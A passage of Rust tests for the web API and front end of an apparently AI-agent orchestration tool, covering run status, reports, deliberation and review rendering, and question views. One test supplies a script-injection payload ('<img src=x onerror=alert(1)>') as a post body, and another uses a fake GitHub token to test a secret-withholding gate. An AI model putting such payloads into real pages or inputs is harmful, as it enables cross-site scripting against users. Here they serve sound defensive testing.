19541            "resumed task".to_owned(),
19542            "do it".to_owned(),
19543            PathBuf::from("/repo"),
19544            Source::Human,
19545        );
19546        task.runs = vec![id.to_owned(), id.to_owned()];
19547        f.queue().put(&mut task).unwrap();
19548        let store = f.questions();
19549        let mut q = Question::new(
19550            id.to_owned(),
19551            "github-text".to_owned(),
19552            "owner".to_owned(),
19553            "Approve the text?".to_owned(),
19554            String::new(),
19555            Vec::new(),
19556        );
19557        store.put(&mut q).unwrap();
19558        for expected in ["waiting", "parked"] {
19559            let list = f.get("/api/runs").await.json();
19560            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19561            assert_eq!(list[0]["display_status"], expected);
19562            assert_eq!(detail["display_status"], expected);
19563            assert_eq!(detail["waiting"], list[0]["waiting"]);
19564            assert_eq!(list[0]["badge_status"], expected);
19565            assert_eq!(detail["badge_status"], expected);
19566            assert!(list[0]["superseded_by"].is_null());
19567            assert!(detail["superseded_by"].is_null());
19568            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19569            let history = task_detail["history"].as_array().unwrap();
19570            assert_eq!(history.len(), 2);
19571            assert!(history[0]["badge"].is_null());
19572            assert_eq!(history[1]["badge"], expected);
19573            q.status = ask::QuestionStatus::Answered;
19574            store.put(&mut q).unwrap();
19575        }
19576    }
19577
19578    #[tokio::test]
19579    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19580        let f = Fixture::start().await;
19581        let id = "20260922-090200-abcd";
19582        write_run(&f.runs(), id, RunStatus::Judging);
19583        let mut state = read_run(&f.runs(), id).unwrap();
19584        state.parked = true;
19585        state.driver_exited = true;
19586        state.event("park", "stopped at a node boundary");
19587        state.save_under(f.home.path()).unwrap();
19588
19589        for expected in ["parked", "stale"] {
19590            let list = f.get("/api/runs").await.json();
19591            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19592            assert_eq!(list[0]["live"], "dead");
19593            assert_eq!(list[0]["display_status"], expected);
19594            assert_eq!(detail["display_status"], expected);
19595            // Model a driver claim followed by a crash before the next event:
19596            // the persisted flag changes, but the last event is still park.
19597            state.parked = false;
19598            state.save_under(f.home.path()).unwrap();
19599        }
19600    }
19601
19602    #[tokio::test]
19603    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19604        let f = Fixture::start().await;
19605        for id in [
19606            "20260902-140501-aaaa",
19607            "20260902-140502-bbbb",
19608            "20260902-140503-cccc",
19609        ] {
19610            write_run(&f.runs(), id, RunStatus::Merged);
19611        }
19612
19613        let all = f.get("/api/runs").await.json();
19614        let capped = f.get("/api/runs?limit=2").await.json();
19615
19616        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19617        assert_eq!(all.as_array().map(Vec::len), Some(3));
19618        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19619        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19620    }
19621
19622    #[tokio::test]
19623    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19624        let f = Fixture::start().await;
19625        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19626
19627        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19628
19629        assert_eq!(res.status, 200);
19630        assert!(
19631            res.headers
19632                .contains("content-type: text/plain; charset=utf-8"),
19633            "a browser must render it, not download it: {}",
19634            res.headers
19635        );
19636        // The assertion is on content, not on the absence of escapes: colour
19637        // is a process-global that `serve` turns off at startup, and another
19638        // test in this binary may own it while this one runs.
19639        assert!(
19640            res.body.contains("20260902-140501-a1b2"),
19641            "the report is about the run that was asked for: {}",
19642            res.body
19643        );
19644    }
19645
19646    #[tokio::test]
19647    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19648        // The view names the run's state directory, which reads the process-global home.
19649        crate::run::pin_test_home();
19650        let f = Fixture::start().await;
19651        let id = "20260902-140501-a1b2";
19652        write_run(&f.runs(), id, RunStatus::Stalled);
19653        // A stalled panel and one review round, written through the real
19654        // state file so the route reads what a run really leaves behind.
19655        let path = f.runs().join(id).join("run.json");
19656        let mut v: serde_json::Value =
19657            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19658        v["tally"] = serde_json::json!({
19659            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19660            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19661            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19662            "met_quorum": false, "rankings": 1
19663        });
19664        v["reviews"] = serde_json::json!([{
19665            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19666            "e2e_deferred": true,
19667            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19668                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19669            ]}]
19670        }]);
19671        std::fs::write(&path, v.to_string()).unwrap();
19672        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19673        std::fs::write(
19674            f.runs().join("20260902-140502-dead").join("run.json"),
19675            "{not json",
19676        )
19677        .unwrap();
19678
19679        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19680
19681        assert_eq!(res.status, 200, "{}", res.body);
19682        assert!(res.headers.contains("content-type: application/json"));
19683        let j = res.json();
19684        assert_eq!(j["schema"], 1);
19685        assert_eq!(j["header"]["id"], id);
19686        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19687        let kinds: Vec<&str> = j["sections"]
19688            .as_array()
19689            .unwrap()
19690            .iter()
19691            .map(|s| s["kind"].as_str().unwrap())
19692            .collect();
19693        assert_eq!(kinds, ["candidates", "tally", "review"]);
19694        let tally = &j["sections"][1]["tally"];
19695        assert_eq!(
19696            (tally["decided"].clone(), tally["provisional"].clone()),
19697            (false.into(), true.into())
19698        );
19699        let round = &j["sections"][2]["rounds"][0];
19700        assert_eq!(round["e2e"]["state"], "deferred");
19701        assert_eq!(round["findings"][0]["severity"], "major");
19702        assert_eq!(round["findings"][0]["blocking"], true);
19703        assert_eq!(round["findings"][0]["state"], "open");
19704
19705        // The raw route keeps working beside it.
19706        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19707
19708        // An unreadable run is an error, as on the text route, and is counted.
19709        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19710        assert_ne!(bad.status, 200, "{}", bad.body);
19711        assert_eq!(
19712            bad.status,
19713            f.get("/api/runs/20260902-140502-dead/report").await.status
19714        );
19715        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19716        assert_eq!(
19717            f.get("/api/runs/20260902-999999-ffff/report.json")
19718                .await
19719                .status,
19720            404
19721        );
19722    }
19723
19724    #[tokio::test]
19725    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19726        crate::run::pin_test_home();
19727        let f = Fixture::start().await;
19728        let id = "20260902-140503-delib";
19729        write_run(&f.runs(), id, RunStatus::Merged);
19730        let path = f.runs().join(id).join("run.json");
19731        let mut v: serde_json::Value =
19732            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19733        v["judgements"] = serde_json::json!([
19734            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19735        ]);
19736        v["tally"] = serde_json::json!({
19737            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19738            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19739            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19740            "met_quorum": true, "rankings": 1
19741        });
19742        v["deliberation"] = serde_json::json!([
19743            {
19744                "round": 1,
19745                "turns": [
19746                    {
19747                        "judge": 1,
19748                        "agent": "judge-1",
19749                        "body": "I prefer candidate **A** because it has cleaner tests.",
19750                        "tentative": "A"
19751                    }
19752                ]
19753            },
19754            {
19755                "round": 2,
19756                "turns": [
19757                    {
19758                        "judge": 1,
19759                        "agent": "judge-1",
19760                        "body": "Still thinking, no choice yet.",
19761                        "tentative": null
19762                    }
19763                ]
19764            }
19765        ]);
19766        std::fs::write(&path, v.to_string()).unwrap();
19767
19768        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19769        assert_eq!(res.status, 200, "{}", res.body);
19770        let j = res.json();
19771        let judging = j["sections"]
19772            .as_array()
19773            .unwrap()
19774            .iter()
19775            .find(|s| s["kind"] == "judging")
19776            .expect("judging section exists");
19777
19778        // Existing summary lines remain intact
19779        let delib_lines = judging["deliberation"].as_array().unwrap();
19780        assert_eq!(delib_lines.len(), 2);
19781        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19782        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19783
19784        // rounds carry turn bodies, tentative and parsed body_md
19785        let rounds = judging["rounds"].as_array().unwrap();
19786        assert_eq!(rounds.len(), 2);
19787        let r1_t0 = &rounds[0]["turns"][0];
19788        assert_eq!(r1_t0["judge"], 1);
19789        assert_eq!(r1_t0["agent"], "judge-1");
19790        assert_eq!(r1_t0["tentative"], "A");
19791        assert_eq!(
19792            r1_t0["body"],
19793            "I prefer candidate **A** because it has cleaner tests."
19794        );
19795        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19796
19797        let r2_t0 = &rounds[1]["turns"][0];
19798        assert_eq!(r2_t0["judge"], 1);
19799        assert_eq!(r2_t0["agent"], "judge-1");
19800        assert!(r2_t0["tentative"].is_null());
19801        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19802        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19803
19804        // A run with empty deliberation array yields empty rounds
19805        let id_empty = "20260902-140504-nodelib";
19806        write_run(&f.runs(), id_empty, RunStatus::Merged);
19807        let path_empty = f.runs().join(id_empty).join("run.json");
19808        let mut v_empty: serde_json::Value =
19809            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19810        v_empty["judgements"] = serde_json::json!([
19811            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19812        ]);
19813        v_empty["deliberation"] = serde_json::json!([]);
19814        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19815
19816        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19817        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19818        let j_empty = res_empty.json();
19819        let judging_empty = j_empty["sections"]
19820            .as_array()
19821            .unwrap()
19822            .iter()
19823            .find(|s| s["kind"] == "judging")
19824            .expect("judging section exists");
19825        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19826    }
19827
19828    #[tokio::test]
19829    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19830        let f = Fixture::start().await;
19831
19832        let html = f.get("/").await;
19833        let css = f.get("/app.css").await;
19834        let js = f.get("/app.js").await;
19835
19836        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19837        assert!(
19838            html.headers
19839                .contains("content-type: text/html; charset=utf-8")
19840        );
19841        assert!(css.headers.contains("content-type: text/css"));
19842        assert!(js.headers.contains("content-type: text/javascript"));
19843        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19844    }
19845
19846    #[test]
19847    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19848        let body = |name: &str| {
19849            let at = APP_JS
19850                .find(name)
19851                .unwrap_or_else(|| panic!("{name} missing"));
19852            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19853        };
19854        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19855        let note = body("function landRoundNote");
19856        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19857        assert!(note.contains("Land round ${round}"));
19858        let land = body("function renderLand");
19859        let note_at = land
19860            .find("landRoundNote(pr)")
19861            .expect("renderLand uses the note");
19862        assert!(
19863            note_at
19864                < land
19865                    .find("roundRail(pr)")
19866                    .expect("renderLand uses the rail")
19867        );
19868    }
19869
19870    #[test]
19871    fn the_runs_page_redesign_keeps_its_guards() {
19872        let body = |name: &str| {
19873            let at = APP_JS
19874                .find(name)
19875                .unwrap_or_else(|| panic!("{name} missing"));
19876            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19877        };
19878        // A null child must never reach the native append (it prints "null").
19879        let land = body("function renderLand");
19880        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19881        assert!(
19882            !land.contains("box.append("),
19883            "renderLand must use append()"
19884        );
19885        assert!(land.contains("append(box, ["));
19886        // Tabs are hash routes; the run id alone decides a reload.
19887        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19888        assert!(
19889            body("function applyRoute")
19890                .contains("route.name !== state.route.name || route.id !== state.route.id")
19891        );
19892        // The decorative diagram is gone, the strip and its guards stay.
19893        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19894        assert!(!INDEX_HTML.contains("advise-converge"));
19895        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19896        assert!(APP_JS.contains("provisional"));
19897        for id in [
19898            "run-tab-overview",
19899            "run-tab-timeline",
19900            "run-tab-report",
19901            "run-report",
19902            "runs-scope",
19903        ] {
19904            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19905        }
19906        assert!(!INDEX_HTML.contains("runs-tree"));
19907        assert!(!INDEX_HTML.contains("run-raw-panel"));
19908        // Fold still says it cannot be resumed.
19909        assert!(APP_JS.contains("resume"));
19910        // The unreadable-runs count stays on the page.
19911        assert!(APP_JS.contains("unreadable"));
19912    }
19913
19914    #[test]
19915    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19916        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19917        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19918        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19919        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19920        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19921        // The subtitle still counts them whatever the banner does.
19922        assert!(APP_JS.contains("unreadable` : null"));
19923    }
19924
19925    #[test]
19926    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19927        let mut state = RunState::new(
19928            "/repo".into(),
19929            "main".into(),
19930            "abc".into(),
19931            "task".into(),
19932            crate::config::Config::default(),
19933        );
19934        state.status = RunStatus::Blocked;
19935        state.gate_ran = true;
19936        state.gate.push(crate::run::CommandOutcome {
19937            command: "cargo make check".into(),
19938            code: Some(1),
19939            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19940            duration_ms: 0,
19941            resource_blocked: false,
19942        });
19943        let view = RunDetailView::of(
19944            state,
19945            false,
19946            crate::run::Liveness::Unknown,
19947            None,
19948            None,
19949            None,
19950        );
19951        let value = serde_json::to_value(view).unwrap();
19952        assert_eq!(
19953            value["stop_reason"],
19954            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19955        );
19956    }
19957
19958    #[test]
19959    fn the_run_detail_payload_says_whether_the_run_is_done() {
19960        // `landView` reads `run.done`; the detail response must carry it.
19961        for (status, done) in [
19962            (RunStatus::Superseded, true),
19963            (RunStatus::Blocked, true),
19964            (RunStatus::Landing, false),
19965        ] {
19966            let mut state = RunState::new(
19967                std::path::PathBuf::from("/repo"),
19968                "main".to_owned(),
19969                "abc".to_owned(),
19970                "x".to_owned(),
19971                crate::config::Config::default(),
19972            );
19973            state.status = status;
19974            let v = serde_json::to_value(RunDetailView::of(
19975                state,
19976                false,
19977                crate::run::Liveness::Unknown,
19978                None,
19979                None,
19980                None,
19981            ))
19982            .unwrap();
19983            assert_eq!(v["done"], done, "{status:?}");
19984        }
19985    }
19986
19987    /// The first node of a markdown block holds a `strong` somewhere.
19988    fn has_strong(nodes: &[md::Node]) -> bool {
19989        serde_json::to_string(nodes).unwrap().contains("strong")
19990    }
19991
19992    #[test]
19993    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19994        let mut state = RunState::new(
19995            std::path::PathBuf::from("/repo"),
19996            "main".to_owned(),
19997            "abc".to_owned(),
19998            "x".to_owned(),
19999            crate::config::Config::default(),
20000        );
20001        let proposal = |approach: &str| {
20002            serde_json::json!({
20003                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20004            })
20005        };
20006        state.advice = Some(
20007            serde_json::from_value(serde_json::json!({
20008                "records": [
20009                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20010                     "proposal": proposal("do **this**")},
20011                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20012                ],
20013                "synthesis": "- one\n- **two**\n\n`code`",
20014            }))
20015            .unwrap(),
20016        );
20017        state.candidates = serde_json::from_value(serde_json::json!([
20018            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20019             "summary": "did **it**"},
20020            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20021        ]))
20022        .unwrap();
20023        // Recorded in ascending severity, the reverse of how the page sorts
20024        // them: the arrays must follow the record, not the display.
20025        state.reviews = serde_json::from_value(serde_json::json!([{
20026            "round": 1, "head": "h",
20027            "reviews": [{
20028                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20029                "findings": [
20030                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20031                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20032                ],
20033            }],
20034            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20035            "fix": {"agent": "a", "notes": "fixed **it**",
20036                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20037        }, {"round": 2, "head": "h2", "reviews": []}]))
20038        .unwrap();
20039
20040        let v = serde_json::to_value(RunDetailView::of(
20041            state,
20042            false,
20043            crate::run::Liveness::Unknown,
20044            None,
20045            None,
20046            None,
20047        ))
20048        .unwrap();
20049
20050        let strong = |p: &str| {
20051            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20052            assert!(n.to_string().contains("strong"), "{p}: {n}");
20053        };
20054        strong("/advice_md/synthesis");
20055        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20056        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20057        strong("/advice_md/approaches/0");
20058        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20059        strong("/candidate_summaries_md/0");
20060        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20061        strong("/reviews_md/0/reviewers/0/summary");
20062        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20063        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20064        assert!(f[1].to_string().contains("strong"));
20065        strong("/reviews_md/0/reconsideration/0");
20066        strong("/reviews_md/0/fix/notes");
20067        strong("/reviews_md/0/fix/rejected/0");
20068        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20069        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20070        // The raw strings stay, and no schema moved.
20071        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20072        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20073    }
20074
20075    #[test]
20076    fn a_run_without_advice_has_no_advice_md() {
20077        let state = RunState::new(
20078            std::path::PathBuf::from("/repo"),
20079            "main".to_owned(),
20080            "abc".to_owned(),
20081            "x".to_owned(),
20082            crate::config::Config::default(),
20083        );
20084        let p = run_prose_md(&state);
20085        assert!(p.advice_md.is_none());
20086        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20087    }
20088
20089    #[test]
20090    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20091        let store = ask::Questions::at(PathBuf::from("unused"));
20092        let gt = crate::github_text::Withheld {
20093            title: false,
20094            body: true,
20095            categories: vec!["sensitive-data".into()],
20096        };
20097        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20098        let (detail, comparison) =
20099            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20100        let mut q = Question::new(
20101            "r".into(),
20102            "github-text".into(),
20103            "posting-gate".into(),
20104            "s".into(),
20105            detail,
20106            Vec::new(),
20107        );
20108        assert!(
20109            QuestionView::of(q.clone(), &store, None)
20110                .posting_view
20111                .is_none()
20112        );
20113        q.posting_comparison = Some(comparison);
20114        let view = QuestionView::of(q.clone(), &store, None);
20115        let field = &view.posting_view.unwrap().fields[0];
20116        assert_eq!(
20117            field
20118                .original
20119                .iter()
20120                .map(|f| f.text.as_str())
20121                .collect::<String>(),
20122            body
20123        );
20124        assert!(field.original[0].text.starts_with("<img"));
20125        let original_question: Question =
20126            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20127        assert_eq!(original_question, q);
20128        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20129            .original
20130            .start = 1;
20131        assert!(
20132            QuestionView::of(q.clone(), &store, None)
20133                .posting_view
20134                .is_none()
20135        );
20136        q.posting_comparison = original_question.posting_comparison;
20137        q.detail.push_str("extra context");
20138        assert!(
20139            QuestionView::of(q.clone(), &store, None)
20140                .posting_view
20141                .is_some()
20142        );
20143        q.detail.insert(0, 'x');
20144        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20145    }
20146
20147    #[test]
20148    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20149        let store = ask::Questions::at(PathBuf::from("unused"));
20150        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20151        let gt = crate::github_text::Withheld::from_check(
20152            &crate::github_text::check("fix: x", body),
20153            "fix: x",
20154            body,
20155        )
20156        .unwrap();
20157        let (detail, comparison) =
20158            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20159        let mut q = Question::new(
20160            "r".into(),
20161            "github-text".into(),
20162            "posting-gate".into(),
20163            "s".into(),
20164            detail,
20165            Vec::new(),
20166        );
20167        q.posting_comparison = Some(comparison);
20168        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20169        let field = &value["posting_view"]["fields"][0];
20170        let group = &field["replacement_group"];
20171        let triggers = group["triggers"].as_array().unwrap();
20172        assert_eq!(triggers.len(), 2);
20173        assert_ne!(triggers[0], triggers[1]);
20174        for id in triggers {
20175            assert!(
20176                field["original"]
20177                    .as_array()
20178                    .unwrap()
20179                    .iter()
20180                    .any(|f| &f["pair"] == id)
20181            );
20182            assert!(
20183                !field["changed"]
20184                    .as_array()
20185                    .unwrap()
20186                    .iter()
20187                    .any(|f| &f["pair"] == id)
20188            );
20189        }
20190        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20191            group["id"].as_u64().unwrap() as usize;
20192        assert!(
20193            QuestionView::of(q, &store, None).posting_view.is_none(),
20194            "group and trigger IDs cannot collide"
20195        );
20196    }
20197
20198    #[test]
20199    fn a_question_view_carries_markdown_for_each_thread_turn() {
20200        let home = TempDir::new().unwrap();
20201        let store = ask::Questions::at(home.path().join("questions"));
20202        let mut q = Question::new(
20203            "run".to_owned(),
20204            "implement".to_owned(),
20205            "impl-A".to_owned(),
20206            "which?".to_owned(),
20207            String::new(),
20208            Vec::new(),
20209        );
20210        q.say("plain words").unwrap();
20211        q.reply("use **this**", Vec::new()).unwrap();
20212        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20213        let bodies = &v["thread_bodies_md"];
20214        assert_eq!(bodies.as_array().unwrap().len(), 2);
20215        assert!(!bodies[0].to_string().contains("strong"));
20216        assert!(bodies[1].to_string().contains("strong"));
20217    }
20218
20219    #[test]
20220    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20221        let home = TempDir::new().unwrap();
20222        let store = ask::Questions::at(home.path().join("questions"));
20223        let mut q = Question::new(
20224            "run".to_owned(),
20225            "conduct".to_owned(),
20226            "conduct".to_owned(),
20227            "which?".to_owned(),
20228            String::new(),
20229            Vec::new(),
20230        );
20231        q.say("plain words").unwrap();
20232        q.thread.push(ask::Turn {
20233            who: ask::Who::Agent,
20234            body: "Settled as `merge`".to_owned(),
20235            at: jiff::Timestamp::now(),
20236            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20237        });
20238        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20239        let notes = &v["thread_notes_md"];
20240        assert_eq!(notes.as_array().unwrap().len(), 2);
20241        assert!(notes[0].is_null());
20242        let text = notes[1].to_string();
20243        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20244        assert!(APP_JS.contains("ask-turn-note"));
20245    }
20246
20247    #[test]
20248    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20249        // The land panel defers to `run.status` for merged, and labels a
20250        // recorded-open PR on any finished run (superseded, blocked, ...) as
20251        // last seen, never as live state.
20252        assert!(APP_JS.contains("function landView(run, raw) {"));
20253        assert!(
20254            APP_JS.contains(
20255                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20256            )
20257        );
20258        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20259        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20260        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20261        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20262    }
20263
20264    #[test]
20265    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20266        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20267        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20268        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20269        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20270    }
20271
20272    #[test]
20273    fn review_rounds_label_a_distinct_verified_head() {
20274        assert!(APP_JS.contains("round.verified_head"));
20275        assert!(APP_JS.contains("verified HEAD"));
20276        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20277    }
20278
20279    #[test]
20280    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20281        // A blocked task's chip and note must not fall back to a queued-like
20282        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20283        // itself by e11fc58 but never checked here.
20284        assert!(APP_JS.contains("blocked: { glyph:"));
20285        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20286
20287        // `blocked_by` mixes task ids and question ids in the same list, and
20288        // the client can only tell them apart by checking each id against
20289        // what it actually knows - never by guessing from the id's shape.
20290        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20291        assert!(
20292            APP_JS.contains(
20293                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20294            ),
20295            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20296        );
20297        // The classification must key off `status_str`, never off `blocked_by`
20298        // or `block_reason` merely being present - both can survive briefly
20299        // on a task a hold or a dead daemon just moved off `blocked`.
20300        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20301
20302        // A question a task is blocked on gets its own node in the same
20303        // dependency graph, not just a task-shaped node with nothing known
20304        // about it.
20305        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20306        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20307        assert!(
20308            APP_JS.contains("location.hash = \"#/questions\";"),
20309            "a question node must jump to the Questions screen, not pretend to be a task"
20310        );
20311
20312        // `Task::answers` - decisions already made - are shown as a record on
20313        // the card, the same disclosure style as the full instruction.
20314        assert!(APP_JS.contains("Resolved questions"));
20315        assert!(APP_JS.contains("r.answersList.append("));
20316        assert!(APP_CSS.contains(".task-answers"));
20317        {
20318            let start = APP_JS
20319                .find("function updateTalkTaskRow")
20320                .expect("updateTalkTaskRow");
20321            let body = &APP_JS[start..];
20322            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20323            assert!(
20324                body.contains(
20325                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20326                ),
20327                "a chat-filed task row must link to the task page"
20328            );
20329            assert!(
20330                !body.contains("#/runs/") && !body.contains("#/queue/"),
20331                "the row must not branch to a run or the queue card"
20332            );
20333            assert!(APP_CSS.contains(".talk-task-link"));
20334        }
20335    }
20336
20337    #[test]
20338    fn a_task_notification_links_to_the_task_page() {
20339        // A task notice opens the task detail page, not the Backlog card.
20340        let start = APP_JS
20341            .find("function noticeLink(")
20342            .expect("noticeLink exists");
20343        let body = &APP_JS[start..];
20344        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20345        assert!(
20346            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20347            "a task notice's link must target the task page"
20348        );
20349        assert!(
20350            !body.contains("#/queue/"),
20351            "regression: the task link must not go back to the Backlog route"
20352        );
20353        assert!(
20354            APP_JS.contains(
20355                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20356            ),
20357            "`#/tasks/<id>` must parse into the task route"
20358        );
20359
20360        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20361        assert!(
20362            APP_JS.contains(
20363                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20364            ),
20365            "`#/queue/<id>` must parse into a route carrying that id"
20366        );
20367
20368        // And the Backlog view has to actually land on the card once it can
20369        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20370        // so a focus set before the queue has loaded is retried once it has.
20371        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20372        assert!(APP_JS.contains("function consumeQueueFocus()"));
20373        assert!(APP_JS.contains("jumpToTask(id)"));
20374    }
20375
20376    #[test]
20377    fn notifications_distinguish_actionable_questions_from_informational_notices() {
